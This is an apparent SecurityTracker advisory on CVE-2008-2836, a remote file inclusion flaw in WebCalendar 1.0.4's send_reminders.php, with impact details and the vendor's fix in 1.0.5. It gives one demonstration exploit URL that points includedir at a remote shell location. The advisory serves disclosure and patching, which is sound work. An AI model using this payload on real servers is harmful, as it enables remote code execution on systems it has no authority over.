WebCalendar Include File Bug in 'send_reminders.php' Lets Remote Users Execute Arbitrary Code
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SecurityTracker Alert ID: 1020357
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SecurityTracker URL: http://securitytracker.com/id?1020357
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CVE Reference: CVE-2008-2836
(Links to External Site)
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Date: Jun 25 2008
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Impact: Execution of arbitrary code via network, User access via network
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Fix Available: Yes
Exploit Included: Yes
Vendor Confirmed: Yes
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Version(s): 1.0.4
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Description: A vulnerability was reported in WebCalendar. A remote user can include and execute arbitrary code on the target system.
The software does not properly validate user-supplied input. A remote user can supply a specially crafted URL to cause the target
system to include and execute arbitrary PHP code from a remote location. The PHP code, including operating system commands, will
run with the privileges of the target web service.
A demonstration exploit URL is provided:
http://[target]/patch/tools/send_reminders.php?noSet=0&includedir=http:/
/sheLLz?
The original advisory is available at:
http://www.milw0rm.com/exploits/5847
Cr@zy_King from BiyoSecurity Team
reported this vulnerability.
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Impact: A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.
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Solution: The vendor has issued a fixed version (1.0.5).
The vendor's advisory is available at:
http://sourceforge.net/mailarchive/forum.php?thread_name=45EAF486.9080902%40k5n.us&forum_name=webcalendar-announce
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Vendor URL: www.k5n.us/webcalendar.php (Links to External Site)
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Cause: Input validation error, State error
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Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
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Message History:
None.
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Source Message Contents
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Date: Tue, 24 Jun 2008 17:25:45 -0400
Subject: WebCalendar
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http://www.milw0rm.com/exploits/5847
CVE-2008-2836
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